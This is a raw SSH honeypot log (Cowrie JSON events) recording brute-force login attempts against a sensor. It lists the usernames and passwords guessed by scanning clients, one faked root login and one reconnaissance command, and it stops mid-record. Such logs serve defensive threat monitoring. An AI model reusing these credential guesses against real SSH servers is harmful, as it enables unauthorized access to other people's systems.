{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38632,"dst_ip":"159.203.135.109","dst_port":22,"session":"72102e8e27de","protocol":"ssh","message":"New connection: 2.57.121.25:38632 (159.203.135.109:22) [session: 72102e8e27de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:01.174930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:01.179911Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:01.279258Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09101982","message":"login attempt [user/09101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:01.749769Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09091979","message":"login attempt [user/09091979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:02.851499Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09081989","message":"login attempt [user/09081989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:03.953981Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09061984","message":"login attempt [user/09061984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:05.055526Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09051978","message":"login attempt [user/09051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:06.157531Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:07.259729Z","src_ip":"2.57.121.25","session":"72102e8e27de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":41596,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e6d059711e","protocol":"ssh","message":"New connection: 13.71.92.229:41596 (10.17.0.5:22) [session: c8e6d059711e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:11.173169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:11.177331Z","src_ip":"13.71.92.229","session":"c8e6d059711e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:11.384585Z","src_ip":"13.71.92.229","session":"c8e6d059711e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tms","password":"123456","message":"login attempt [tms/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:12.255531Z","src_ip":"13.71.92.229","session":"c8e6d059711e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:13.469599Z","src_ip":"13.71.92.229","session":"c8e6d059711e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":56546,"dst_ip":"10.17.0.5","dst_port":22,"session":"150ba3ef6dbd","protocol":"ssh","message":"New connection: 42.112.42.129:56546 (10.17.0.5:22) [session: 150ba3ef6dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:16.766741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:16.770607Z","src_ip":"42.112.42.129","session":"150ba3ef6dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:17.022548Z","src_ip":"42.112.42.129","session":"150ba3ef6dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:18.139822Z","src_ip":"42.112.42.129","session":"150ba3ef6dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:19.395636Z","src_ip":"42.112.42.129","session":"150ba3ef6dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42220,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68c5625ae83","protocol":"ssh","message":"New connection: 2.57.122.210:42220 (159.203.135.109:22) [session: f68c5625ae83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:49.094637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:49.099316Z","src_ip":"2.57.122.210","session":"f68c5625ae83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:49.198774Z","src_ip":"2.57.122.210","session":"f68c5625ae83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123456","message":"login attempt [solana/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:49.496881Z","src_ip":"2.57.122.210","session":"f68c5625ae83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:03:50.598075Z","src_ip":"2.57.122.210","session":"f68c5625ae83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59108,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c48e824031","protocol":"ssh","message":"New connection: 162.120.6.20:59108 (10.17.0.5:22) [session: 17c48e824031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:30.684433Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:30.755227Z","src_ip":"162.120.6.20","session":"17c48e824031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59114,"dst_ip":"10.17.0.5","dst_port":22,"session":"601858ee2731","protocol":"ssh","message":"New connection: 162.120.6.20:59114 (10.17.0.5:22) [session: 601858ee2731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:30.821930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:30.826525Z","src_ip":"162.120.6.20","session":"601858ee2731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:30.896648Z","src_ip":"162.120.6.20","session":"601858ee2731","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qin@2021","message":"login attempt [root/qin@2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:31.109205Z","src_ip":"162.120.6.20","session":"601858ee2731","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:31.276045Z","src_ip":"162.120.6.20","session":"601858ee2731","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:31.278735Z","src_ip":"162.120.6.20","session":"601858ee2731","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:31.351399Z","src_ip":"162.120.6.20","session":"601858ee2731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:31.355134Z","src_ip":"162.120.6.20","session":"601858ee2731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58772,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cc65bc7cc2f","protocol":"ssh","message":"New connection: 2.57.122.208:58772 (10.17.0.5:22) [session: 6cc65bc7cc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:56.657320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:56.661127Z","src_ip":"2.57.122.208","session":"6cc65bc7cc2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:56.760350Z","src_ip":"2.57.122.208","session":"6cc65bc7cc2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:57.065994Z","src_ip":"2.57.122.208","session":"6cc65bc7cc2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:04:58.274442Z","src_ip":"2.57.122.208","session":"6cc65bc7cc2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":49326,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe38247fc3d9","protocol":"ssh","message":"New connection: 13.71.92.229:49326 (10.17.0.5:22) [session: fe38247fc3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:19.458955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:19.463448Z","src_ip":"13.71.92.229","session":"fe38247fc3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:19.674921Z","src_ip":"13.71.92.229","session":"fe38247fc3d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"123456","message":"login attempt [myftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:20.502992Z","src_ip":"13.71.92.229","session":"fe38247fc3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:21.716214Z","src_ip":"13.71.92.229","session":"fe38247fc3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44944,"dst_ip":"159.203.135.109","dst_port":22,"session":"5de8a0ba3158","protocol":"ssh","message":"New connection: 2.57.122.210:44944 (159.203.135.109:22) [session: 5de8a0ba3158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:56.992544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:05:57.006783Z","src_ip":"2.57.122.210","session":"5de8a0ba3158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 